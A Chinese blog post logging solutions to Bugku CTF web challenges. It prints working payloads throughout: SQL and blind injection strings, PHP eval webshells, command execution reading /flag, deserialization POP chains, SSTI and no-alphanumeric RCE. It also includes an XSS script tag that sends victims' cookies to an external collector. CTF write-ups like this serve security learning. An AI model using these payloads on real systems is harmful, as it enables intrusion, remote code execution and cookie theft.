靶场 | 91 分钟
Bugku Web 刷题记录
十二月 17, 2025
WEB

有人提到了bugku的入门难度,所以来做做bugku

顺序是默认的,做的 平台WEB


第一页

滑稽

网页源代码

计算器

网页里面有个code.js,打开就有

alert

HTML 实体解码

你必须让他停下

抓一会包,全局搜索flag{就行

头等舱

看到头,想到Header,果然有

GET

/?what=flag

POST

what=flag

source

看到source想到源代码,里面有个tig,可能是git,又说了Linux,我猜git泄露

猜中了,但是没想到居然要git操作,实在不熟

只用githack不能下载.git里的文件,要用wget -r git路径才行

翻了半天没什么东西,看别人是这样:

  • git reflog:不带任何参数时,显示当前分支(HEAD)的引用日志。
  • git show:不带任何参数时,显示当前分支的最新提交(HEAD)的详细信息。

然后一个个试,在git show HEAD@{4}

矛盾

/?num=1a

备份是个好习惯

扫到flag.phpindex.php.bak

备份是:

php
 1<?php
 2include_once "flag.php";
 3ini_set("display_errors", 0);
 4$str = strstr($_SERVER['REQUEST_URI'], '?');
 5$str = substr($str,1);
 6$str = str_replace('key','',$str);
 7parse_str($str);
 8echo md5($key1);
 9
10echo md5($key2);
11if(md5($key1) == md5($key2) && $key1 !== $key2){
12    echo $flag."取得flag";
13}
14?>
15 
  1. $str = strstr($_SERVER['REQUEST_URI'], '?'); - 获取URL中?后面的部分
  2. $str = substr($str,1); - 去掉?号,得到查询字符串
  3. $str = str_replace('key','',$str); - 将字符串中的’key’替换为空(这一步会破坏原始参数名)
  4. parse_str($str); - 将查询字符串解析为变量

例如?key1=abc&key2=def处理后变成1=abc&2=def

自然想到双写绕过,和传入数组

1/?kekeyy1[]=2&kekeyy2[]=1

变量1

看到题目名我就猜到是环境变量了,代码里还有变量覆盖

所以/?args=GLOBALS

本地管理员

提示已经够多了,admin,密码在源码里,XFF

game1

看源码一眼看到了一个编辑Get请求的,但是一直错

看了评论才知道,Base64编码是题目改版的,在F12的Console里面写,Base64.encode(分数);就能得到题目的编码

最终payload:

url
1/score.php?score=9999999999&ip=123.153.213.109&sign=zMOTk5OTk5OTk5OQ====

源代码

好奇葩的题,源码里面是js,定义的时候是编码的,自己又解码,执行,源码如下:

js
1var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
2var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
3eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

把eval改成console.log就能打印里面的拼接,打印后格式化一下是:

js
 1function checkSubmit() { 
 2    var a = document.getElementById("password"); 
 3    if ("undefined" != typeof a) { 
 4        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) 
 5            return !0; 
 6        alert("Error"); 
 7        a.focus(); 
 8        return !1 
 9    } 
10} 
11document.getElementById("levelQuest").onsubmit = checkSubmit;

获取id为password的元素,a要存在,值等于那个字符串,就返回!0

然后编辑源码,把那个input输入框复制一个在后面,把id改成password就行

随后输入那个值点提交,就有flag了

虽然做出来了,但印象中那么多年就遇到过一次需要自己改html的。

网站被黑

扫备份,shell.php

爆破密码,hack

bp

题目真怪

爆破的返回长度一样的,里面的js逻辑是等于那个预设的code,那个code是后台生成的,所以需要知道触发的code是啥,否则正确密码你也看不出来

bp可以用那个grep matching,点击flag什么东西的标注一下,所有错误密码都是2次出现此词条,但是有一个密码是zxc123,他只出现了1次,返回包里的code是hacker1000,访问一下就有flag

好像需要密码

10000-99999爆破

我这里是12468

shell

给的描述是:

php
1$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

这里的poc_1就是数组,poc_2就是把每个元素连起来,就是assert

后面就是执行s,所以

php
1/?s=system('ls');

然后读一下flag

eval

php
1/?hello=system('cat /flag')

这里的执行函数貌似在var_dump而非外层的eval

需要管理员

robots.txt里有文件

php
1/resusl.php?x=admin

第二页

程序员本地网站

http
1X-Forwarded-For: 127.0.0.1

这题三个金币

你从哪里来

http
1Referer: http://google.com

这题三个金币

前女友

http
1/?v1[]=a&v2[]=b&v3[]=c

MD5

以前做过笔记

md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

不同数据弱相等

payload: a=QNKCDZO&b=240610708

MD5等于自身,如md5($a)==$a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017

本题payload:/?a=0e215962017&b=240610708

各种绕过哟

http
1/?id=margin&uname[]=a
2
3passwd[]=b

秋名山车神

多刷几次能看到让post value

居然要写代码

python
 1import requests
 2import re
 3s = requests.Session()
 4one = s.get('http://171.80.2.169:17896/')
 5rt=one.text
 6math=re.search("<div>.*</div>", rt)
 7math=re.search("(?<=>).*?(?==)",math.group())
 8print(rt)
 9value=eval(math.group())
10print(value)
11two = s.post('http://171.80.2.169:17896/', data={
12  "value": value
13})
14print(two.content)

要学一下爬虫,我好像python编程不怎么会

速度要快

抄的代码:

python
 1import requests
 2import base64
 3session = requests.Session() 
 4response = session.get("http://171.80.2.169:19916/")
 5headers = response.headers
 6flagBase64Str = headers["flag"]
 7flagStr = base64.b64decode(flagBase64Str)
 8flagStr = flagStr.decode("utf-8")
 9flagStr = flagStr.split(": ")[1]
10# 一定要在这里写,因为上一步才是把那串英文数字组合的字符串赋予给 flagStr(就是 MzAwNjq3 这个格式内容)
11flagStr = base64.b64decode(flagStr) 
12res = session.post("http://171.80.2.169:19916/", data={"margin": flagStr})
13print(res.text)

file_get_contents

extract代码意思是把传入的参数,自动解析成变量名

扫描到flag.txt内容是bugku

所以

http
1/?ac=bugku&fn=flag.txt

Simple SQL injection

万能密码也行

SQLmap一把梭,但我居然没有手动注入出来,我数字型忘了

我傻逼

注出账密后登录就有flag

成绩查询

SQLMAP一把梭

no select

万能密码

1' or 1=1#

login2

又是做过的,没做出来,我忘记了union select新建数据的事

这题返回头给了提示:

php
1$sql="SELECT username,password FROM admin WHERE username='".$username."'";
2if (!empty($row) && $row['password']===md5($password)){
3}

摘出两句代码,这个意思是先查询username和password,然后肯定有个赋值给$row[‘password’]的操作。

第二行代码就是把输入的password与上面查询的password做对比。

这里技巧就是union select查询字符串时,会在结果中插入这两行数据,貌似是别名?

比如执行:

sql
1SELECT CustomerID,Customername FROM Customers where CustomerID='1'
2union 
3select 'admin','password'

回显:

CustomerIDCustomername
1Alfreds Futterkiste
adminpassword

如果CustomerID=‘1’里面把1改成任意不存在的数,那么回显结果里只有admin和password

这样的话,此sql语句结果被赋值,就相当于我们自己插入了一条用户名和密码。

系统取出并赋值后,跟我们传入的密码比对。注意插入要md5过的

这里post语句写

bash
1username=' union select 'admin','202cb962ac59075b964b07152d234b70'#--&password=123

进去还有个命令注入,写文件就行

bash
1;cat /flag>1.txt

sql注入

有点难,过滤了不少,也学到了新知识点

没写脚本,看了wp就直接输入帐密了

这里过滤了很多东西,比如, | for | 空格但常规的函数又没过滤

用length就能判断出数据库名的长度

sql
1a'or(Length(database()))>1#

根据一些wp,可以得出有以下payload能判断

sql
1那为什么这些也能判断呢?
2SELECT substr((database())from(1)); # security
3SELECT mid((database())from(1)); # security
4SELECT ascii(mid((database())from(1))); # 115
5SELECT substr(reverse(substr((database())from(1)))from(8)); # s

在 MySQL 中,SUBSTR()、SUBSTRING() 和 MID() 是同义词。它们的功能完全一样。

以mid为例,标准写法是:MID(database() FROM 2 FOR 1)='l'

简写为:MID(database() ,2,1)='l'

可是逗号和for都被过滤了,另一种写法mid(database(),2),返回第二个字母往后的字符串,例如blindsql返回lindsql,而逗号被过滤,使用from就行:mid(database()from(2))

另一个知识点,ascii函数传入字符串时,只返回第一个字母的ascii,所以

ascii(mid(database()from(2)))就能用来逐个判断字母

判断出数据库名是blindsql

由于for被过滤,不能从information_schema查表,需要爆破表名

sql
1a'or(SELECT(id)FROM(blindsql.xxxx))#

得admin

爆破列名

sql
1a'or(SELECT(XXXX)FROM(blindsql.admin))#

得password

注入密码就是

sql
1a'or((ascii(mid((select(password)from(admin))from(1))))>90)#

改造成脚本就行

有个wp,很有意思,居然是通过-0-判断,我没见过

原理是MySQL 类型转换:把一个“字符串”和一个“数字”进行比较时,MySQL 会尝试将字符串强制转换为数字,然后再做判断。

  • 如果字符串以数字开头:它会截取开头的数字部分进行比较。

    • 例如:‘123USA’ 转换后等于 123。
  • 如果字符串不以数字开头:它会被转换成 0。

    • 例如:‘Germany’、‘UK’、‘China’ 转换后统统等于 0。

所以,使用

sql
1select * from Customers where country=0;

会查询出所有数据

在这题里面,username注入:admin'-0-'

sql
1SLECET * FROM users WHERE username='admin'-0-'' AND password='admin'

这样admin-0变成0 ,0-''变成0 ,那么username=0,基本上所有用户都满足这个条件,那么username为真,密码错误就显示password error

构造那个0就能判断,例如注入:

sql
1a'-((LENGTH(database()))-8)-'

数据库名长度为8,8-8为0,就形成了a'-0-',uasername为真

如果是把8改成其他数字,比如7,9分别算出-1和1,都无法匹配上字符串。

太妙了

也可以判断库名

sql
1a'-((ASCII(MID(database()FROM(1))))-98)-'

这里不用-98,用大于小于98也可以,条件成立返回1,不成立返回0

都过滤了

用上面学到的方法,判断出这个是8位长度的数据名:

http
1uname=admin'-(length(database())-8)-'&passwd=123456

实际上猜admin,bugkuctf也行了:)

判断第一位字符

http
1uname=admin'-(ascii((mid(database()from(1))))-98)-'&passwd=123456

判断表名,还是要爆破

http
1uname=admin'-(select(0)from(admin))-'&passwd=123456

爆破列名

http
1uname=admin'-(select(0)from(admin)where(passwd))-'&passwd=123456

我设置where(列名=0)不出结果,where(列名)可以。那就这样爆破吧,存在就显示password error

有个wp用的子查询:

sql
1xxx'-(SELECT(0)FROM(SELECT(列名)FROM(admin))t)-'

where被过滤的话可以用,意思是从admin表里查列,如果没有就错了,如果有,则外层有个0输出,这个语句没我的简洁

爆破数据的时候我是这样做的:

sql
1a'-(ascii(select(passwd)from(admin))>4)-'

当然这个我没写from,只能判断第一位,我只是测试,这样写是不行的,一直回显username error。因为select语句作子查询的时候,必须是一个标量子查询,需要让它被括号包裹,成为子查询才行。

下面就可以判断了

sql
1a'-(ascii((select(passwd)from(admin)))>4)-'

逐位判断加个from就行:

http
1uname=a'-(ascii(mid((select(passwd)from(admin))from(1)))>52)-'&passwd=123456

脚本来不及写了,盲猜admin / bugkuctf

进去就是命令执行,过滤了空格,{IFS}之类,用bash结构执行

{ls,/}{cat,/flag}

login1

hint说SQL约束攻击,头好痒,记忆缺失了

搜了一下,说是select和insert对带空格的输入处理不一致。

新建用户的时候,系统判断库里有没有这个用户,没有就插入此用户。

用户名写成admin 1,select时此用户不存在,然后就插入,但是insert插入时会把空格后面截断掉,插入为admin

我的描述可能不好,看一下这两篇吧:

留言板

ceye.io、xss.pt还有什么xssaq要么收不到,要么收费。 这里我使用的:https://xss.report/,注册后,去payload拿一个,输入后,稍等10秒就在dashboard收到消息,然后点击右边小爬虫图标,进入消息详情,能看到cookie里面有flag

我的payload

javascript
1<scrIpt src=https://xss.report/c/sequel7924></scriPt>

留言板1

同上,不过过滤了空格和script,使用/替代空格,使用双写绕过

javascript
1<scscrIptrIpt/src=https://xss.report/c/sequel7924></scrscrIptiPt>

文件包含

LFI

http
1/index.php?file=php://filter/convert.base64-encode/resource=/flag

flag位置是猜的,伪协议是hackbar点一下就有,自己不背会忘。

cookies

url是/index.php?line=0&filename=a2V5cy50eHQ=,就是文件base然后读行

写逐行读取index.php,整理如下:

php
 1<?php
 2error_reporting(0);
 3$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
 4$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
 5if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 6$file_list = array(
 7    '0' => 'keys.txt',
 8    '1' => 'index.php',
 9);
10
11if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
12    $file_list[2] = 'keys.php';
13}
14
15if (in_array($file, $file_list)) {
16    $fa = file($file);
17    echo $fa[$line];
18}

传入margin=margin,然后file传入keys.php就行

payload:

http
1GET /index.php?line=1&filename=a2V5cy5waHA= HTTP/1.1
2
3Cookie: margin=margin

注意,响应体是:

php+HTML
1<?php $key="flag{3e98dca32cef0d3eef528910cb212313}"; ?>

页面看不到,上bp

never_give_up

网页源代码有提示1p.html,进去看到有个js写入,把变量url解码,base64解码,url解码就能看到了

如下:

php
 1if(!$_GET['id'])
 2{
 3	header('Location: hello.php?id=1');
 4	exit();
 5}
 6$id=$_GET['id'];
 7$a=$_GET['a'];
 8$b=$_GET['b'];
 9if(stripos($a,'.'))
10{
11	echo 'no no no no no no no';
12	return ;
13}
14$data = @file_get_contents($a,'r');
15if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
16{
17	$flag = "flag{***********}"
18}
19else
20{
21	print "never never never give up !!!";
22}

id=0a可以,a用data://text/plain,bugku is a nice plateform!写入。eregi是忽略大小写的正则匹配函数,这里有两种做法,00截断和正则,b为%0012345,这样首字节是空字节,与111连接后还是111,能匹配进1114。为.12345也行,因为.匹配任意字符,也能匹配后面的。

payload:

http
1/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0012345

http
1/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=.12345

第三页

文件包含2

网页源码有线索,打开是个上传点,上传一句话木马,后缀改成jpg,mime也改一下,然后<?php?>被过滤了,这里用script:

javascript
1<script language='php'>@eval($_POST['b']);</script>

然后回显路径,再次包含它就能执行命令了,也可以用蚁剑连接。看来是内置.htaccess文件了

ezbypass

一眼无字母数字字符RCE

payload:

php+HTML
1_=system&__=cat+%2Fflag&code=%24_%3D%28_%2F_._%29%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B

现学吧

参考:

fuzz哪些字符没被过滤:

php
1<?php
2for ($i=32;$i<127;$i++){
3    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
4        echo chr($i);
5    }
6}

长篇解释不太好放到这里,解释下上面的payload,

$_=(_/_._)[_];_做运算时是0,0/0是NAN,做索引时就取到了N,后面就是自增之类的了。

最终构造成$_POST['_']($_POST['__'])

然后传入___

还可以$_=[];$_=@"$_";,在双引号字符串中,PHP 会解析变量(字符串插值),解析数组时报错返回固定字符串"Array",那个@是用来抑制错误的。

No one knows regex better than me

php
 1<?php
 2error_reporting(0);
 3$zero = $_REQUEST["zero"];
 4$first = $_REQUEST["first"];
 5$second = $zero . $first;
 6if (preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i", $second)) {
 7    $key = $second;
 8    if (preg_match("/\.\.|flag/", $key)) {
 9        die("Noooood hacker!");
10    } else {
11        $third = $first;
12        if (preg_match("/\\|\056\160\150\x70/i", $third)) {
13            $end = substr($third, 5);
14            highlight_file(base64_decode($zero) . $end); //maybe flag in flag.php
15        }
16    }
17} else {
18    highlight_file(__FILE__);
19}

/\\|\056\160\150\x70/i表示的是,|.php字符串

payload:/?zero=ZmxhZw==&first=girl|.php

字符?正则?

php
1<?php 
2highlight_file('2.php');
3$key='flag{********************************}';
4$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
5if( $IM ){ 
6  die('key is: '.$key);
7}
8?>

太无聊了,评论区都是AI做的,我也是

  1. key - 匹配字母 “key”;例如
  2. .* - 匹配任意字符(除换行符)零次或多次
  3. key - 匹配字母 “key”
  4. .{4,7} - 匹配任意字符4到7次
  5. key - 匹配字母 “key”
  6. :\/.\/ - 冒号 + 斜杠 + 任意一个字符 + 斜杠
  7. (.*key) - 捕获组:匹配任意字符零次或多次,直到"key"
  8. [a-z] - 匹配一个小写字母
  9. [[:punct:]] - 匹配一个标点符号字符
  10. /i - 不区分大小写标志

payload:/?id=keykeyqqqqkey:/q/keyq!

Flask_FileUpload

源码提示了,上传文件会返回结果,前后端都限制了文件类型

但是后缀改成图片就行

我本来上传一个完整的py文件,但是各种报错,内容看起来像直接执行了我的命令,那种完完整整的python flask文件不行

于是改成:

python
1import os
2
3print(os.listdir())

出了结果,直接

python
1import os
2
3print(os.system("cat /flag"))

xxx二手交易市场

这个学到了,原来base64的图片,里面自带mime的

注册用户后,上传头像发现都是base格式,去除图片内容后,把图片位置改成一句话,然后base64,顺便把jpeg改成php,这样上传后就是php文件

http
1image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUW19dKTs/Pg==

然后就是

http
1_=system("cat /var/www/html/flag");

文件上传

看了评论才知道

直接上传一句话,上面的Content-type里面的multipart/form-data要改成Multipart/form-data

下面的改成image/jpeg,然后后缀改php4

getshell

太无聊了,一直base64解码,解得乱死了,一层层。

到最后我var_dump提示:

powershell
1Fatal error: Uncaught Error: Undefined constant "ymlisisisiook" in D:\atmp\dd.php(86) : eval()'d code(1) : eval()'d code:3

没解出全部内容,猜这个是一句话密钥,猜对了。

什么权限都没有,蚁剑连上有个插件叫disable_functions,可以用,只要把shell的路径改成.antproxy.php就行。

然后右键终端就能执行很多命令了

点login咋没反应

垃圾题,居然细节藏在css里,有个/* try ?28064 */,拼接到url就行

然后源码:

php
 1<?php
 2error_reporting(0);
 3$KEY='ctf.bugku.com';
 4include_once("flag.php");
 5$cookie = $_COOKIE['BUGKU'];
 6if(isset($_GET['28064'])){
 7    show_source(__FILE__);
 8}
 9elseif (unserialize($cookie) === "$KEY")
10{   
11    echo "$flag";
12}
13else {
14?>

本地实验了一下:

php
 1<?php
 2$KEY = "ctf.bugku.com";
 3var_dump(serialize($KEY));
 4$_COOKIE["BUGKU"] = "s:13:\"ctf.bugku.com\";";
 5$cookie = $_COOKIE["BUGKU"];
 6
 7if (unserialize($cookie) === "$KEY") {
 8    echo "nb";
 9}
10
11?>

payload:BUGKU=s:13:"ctf.bugku.com";

兔年大吉2

不难,但是有个地方我没搞出来。导致靶机过期了,亏了5个金币,艹

源码:

php
 1<?php
 2highlight_file(__FILE__);
 3error_reporting(0);
 4
 5class Happy{
 6    private $cmd;
 7    private $content;
 8
 9    public function __construct($cmd, $content)
10    {
11        $this->cmd = $cmd;
12        $this->content = $content;
13    }
14
15    public function __call($name, $arguments)
16    {
17        call_user_func($this->cmd, $this->content);
18    }
19
20    public function __wakeup()
21    {
22        die("Wishes can be fulfilled");
23    }
24}
25
26class Nevv{
27    private $happiness;
28
29    public function __invoke()
30    {
31        return $this->happiness->check();
32    }
33
34}
35
36class Rabbit{
37    private $aspiration;
38    public function __set($name,$val){
39        return $this->aspiration->family;
40    }
41}
42
43class Year{
44    public $key;
45    public $rabbit;
46
47    public function __construct($key)
48    {
49        $this->key = $key;
50    }
51
52    public function firecrackers()
53    {
54        return $this->rabbit->wish = "allkill QAQ";
55    }
56
57    public function __get($name)
58    {
59        $name = $this->rabbit;
60        $name();
61    }
62
63    public function __destruct()
64    {
65        if ($this->key == "happy new year") {
66            $this->firecrackers();
67        }else{
68            print("Welcome 2023!!!!!");
69        }
70    }
71}
72
73if (isset($_GET['pop'])) {
74    $a = unserialize($_GET['pop']);
75}else {
76    echo "过新年啊~过个吉祥年~";
77}
78?>

序列化不熟,我转载过一篇,但没深学:PHP 反序列化总结

这题的错误例子:

php
1$a=new Happy('system',"whoami");//新建Happy对象
2
3$a->eee();//调用Happy中不存在的方法,触发call
4
5echo serialize($a);//序列化

看似合理,其实低级错误,这里的$a就是个对象,序列化也没有调用eee()的记录。并且反序列化在Year类中,Happy对象怎么可能触发。

思路:

flowchart TD A(Year:: __destruct) --> B(Year:: firecrackers) B --> C(Rabbit:: __set) C --> D(Year:: __get) D-->E(Nevv:: __invoke) E-->F(Happy:: _call) F-->G[call_user_func]

就是这样,一个个对象包裹另一个才能做到链式反应

我的payload:

php
 1<?php
 2error_reporting(0);
 3
 4class Happy{
 5    private $cmd;
 6    private $content;
 7
 8    public function __construct()
 9    {
10        $this->cmd = "system";
11        $this->content = "cat /flag";
12    }
13}
14
15class Nevv{
16    private $happiness;
17
18    public function __construct($obj)
19    {
20        $this->happiness=$obj;
21    }
22}
23
24class Rabbit{
25    private $aspiration;
26    public function __construct($obj)
27    {
28        $this->aspiration=$obj;
29    }
30}
31
32class Year{
33    public $key;
34    public $rabbit;
35
36    public function __construct($obj)
37    {
38        $this->rabbit = $obj;
39        $this->key="happy new year";
40    }
41}
42
43$h=new Happy();
44$n=new Nevv($h);
45$y=new Year($n);
46$r=new Rabbit($y);
47
48$y2=new Year($r);
49echo urlencode(serialize($y2));
50
51?>

注意一定要urlencode,否则私有属性的00复制不出来,注意在Happy类的对象数目那里+1,这样才能绕过__wakeup,奇怪的是为什么我这个没有+1也可以

最终payload:

http
1O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D

unserialize-Noteasy

关键在:$a("", $b);,毕竟就一个类,destruct触发就行

这里一眼考察:create_function

exp:

php
 1<?php
 2
 3class Noteasy
 4{
 5    private $a;
 6    private $b;
 7
 8    public function __construct()
 9    {
10        $this->a="create_function";
11        $this->b="}system('c\a\\t /flag'); /*";
12    }
13}
14$a=new Noteasy();
15echo urlencode(serialize($a));

payload:

php
1O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A26%3A%22%7Dsystem%28%27c%5Ca%5Ct+%2Fflag%27%29%3B+%2F%2A%22%3B%7D

正则过滤了命令,所以用\隔开绕过,$a("", $b);这种形式基本都是考察create_function,要注意后面的函数体,开头右花括号是为了闭合内部lambda,后面的/*是为了注释后续语句。

Simple_SSTI_2

焚靖一把梭

payload:

php
1/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}

闪电十六鞭

学到了新知识,这里不需要绕过最后一个sha1,需要在eval里面做文章。

eval() 函数的作用是将字符串当作 PHP 代码执行。

我们可以写入代码片,自定义变量之类。也能像SQL注入一样闭合标签。

payload:

php
1$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111111

前面两句是构造出$flag?>是为了闭合语句。在 PHP 中,一旦遇到 ?>,后面的内容会被当作普通 HTML 输出,直到遇到新的 PHP 标签。

<?=$$a;?><?php echo $$a; ?> 的简写。 <?= 不需要括号就能输出变量,绕过了正则。

这个时候已经打印$flag了,但是前面有个长度比对,所以后面补一些字符,将其补充到49个字符。

安慰奖

不难,我用的cp flag.php flag.txt绕过

php
1/?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A20%3A%22cp+flag.php+flag.txt%22%3B%7D

也可以用tac flag.php来绕过

decrypt

密码题

php
 1<?php
 2function encrypt($data,$key)
 3{
 4    $key = md5('ISCC');
 5    $x = 0;
 6    $len = strlen($data);
 7    $klen = strlen($key);
 8    for ($i=0; $i < $len; $i++) { 
 9        if ($x == $klen)
10        {
11            $x = 0;
12        }
13        $char .= $key[$x];
14        $x+=1;
15    }
16    for ($i=0; $i < $len; $i++) {
17        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
18    }
19    return base64_encode($str);
20}
21?>

我的注释,和思路:

php
 1<?php
 2function encrypt($data, $key)
 3{
 4    $key = md5('ISCC'); //729623334f0aa2784a1599fd374c120d
 5    $x = 0;
 6    $len = strlen($data); //$data长度
 7    $klen = strlen($key); //32
 8    $char = '';
 9    //key的前$len位连起来
10    for ($i = 0; $i < $len; $i++) {
11        //key用完了,就从头开始
12        if ($x == $klen) {
13            $x = 0;
14        }
15        $char .= $key[$x];
16        $x += 1;
17    }
18    // data的每一位ASCII和$char的加起来,模128,转字符
19    // 前$len位
20    for ($i = 0; $i < $len; $i++) {
21        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
22    }
23    return base64_encode($str);
24}
25//如果$data长度为32,那么$char=$key
26
27function decrypt($C)
28{
29    $D = base64_decode($C);
30    $char = md5('ISCC');
31    $len = strlen($D);
32    $plain = '';
33    $x = 0;
34    for ($i = 0; $i < $len; $i++) {
35        if ($x == 32) {
36            $x = 0;
37        }
38        $s = ord($D[$i]); //把每个字符转ASCII
39        $plain .= chr(($s - ord($char[$x]) + 128) % 128);
40        $x += 1;
41    }
42    echo $plain;
43}
44
45decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");

Gemini写的更好:

php
 1function decrypt($C)
 2{
 3    $D = base64_decode($C);
 4    $key = md5('ISCC'); // 729623334f0aa2784a1599fd374c120d
 5    $klen = strlen($key); // 32
 6    $len = strlen($D);    // 密文长度
 7    $plain = '';
 8
 9    for ($i = 0; $i < $len; $i++) {
10        // 1. 实现密钥循环逻辑
11        $keyChar = $key[$i % $klen]; 
12        
13        // 2. 获取当前密文字符的 ASCII 值
14        $s = ord($D[$i]);
15        
16        // 3. 还原算法:(密文 - 密钥 + 128) % 128
17        // 这样可以确保结果永远落在 0-127 的有效 ASCII 范围内
18        $plain .= chr(($s - ord($keyChar) + 128) % 128);
19    }
20
21    echo "解密结果: " . $plain;
22}
23
24decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");

加密函数的逻辑可以写成数学等式:$C = (P + K) \pmod{128}$

我们的目标是从 $C$ 中求出 $P$。根据移项法则:$P \equiv C - K \pmod{128}$

在数学上,$-K$ 在模 128 的世界里,等同于 $+ (128 - K)$。所以为了在编程时避免出现负数(因为 ord() 函数处理负数会出问题),我们通常写成:$P = (C - K + 128) \pmod{128}$

Apache Log4j2 RCE

没公网IP,做不了,研究一上午内网穿透,结果没成功

腾讯云有免费使用一个月的云服务器,可以用

我看的这个帖子做的:ctf bugku Apache Log4j2 RCE解题

newphp

远古的记忆被唤醒了

源码:

php
 1<?php
 2// php版本:5.4.44
 3header("Content-type: text/html; charset=utf-8");
 4highlight_file(__FILE__);
 5
 6class evil{
 7    public $hint;
 8
 9    public function __construct($hint){
10        $this->hint = $hint;
11    }
12
13    public function __destruct(){
14    if($this->hint==="hint.php")
15            @$this->hint = base64_encode(file_get_contents($this->hint)); 
16        var_dump($this->hint);
17    }
18
19    function __wakeup() { 
20        if ($this->hint != "╭(●`∀´●)╯") { 
21            //There's a hint in ./hint.php
22            $this->hint = "╰(●’◡’●)╮"; 
23        } 
24    }
25}
26
27class User
28{
29    public $username;
30    public $password;
31
32    public function __construct($username, $password){
33        $this->username = $username;
34        $this->password = $password;
35    }
36
37}
38
39function write($data){
40    global $tmp;
41    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
42    $tmp = $data;
43}
44
45function read(){
46    global $tmp;
47    $data = $tmp;
48    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
49    return $r;
50}
51
52$tmp = "test";
53$username = $_POST['username'];
54$password = $_POST['password'];
55
56$a = serialize(new User($username, $password));
57if(preg_match('/flag/is',$a))
58    die("NoNoNo!");
59
60unserialize(read(write($a)));

还是学了一下,这里的反序列化点是User类,自动反序列化。跟看文件的evil类没有关联。

可控点是username和password,所以我们自然而然想到,把序列化后的字符串当用户名或者密码传入。直接传入被当成字符串的,没有效果。

先看看处理流程,他把User对象前后用了write和read函数。这个write函数是幌子,没有返回值。有用的是read,它把参数中的\0\0\0替换成三个字符。例如我username输入,\0\0\0,经过read变成三个字符。这样反序列化就会往后再读取三个字符,直到6个。

evil类读取hint.php的序列化对象是:

php
1O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

把这个字符串当password输入,查看User类序列化:

php
1O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

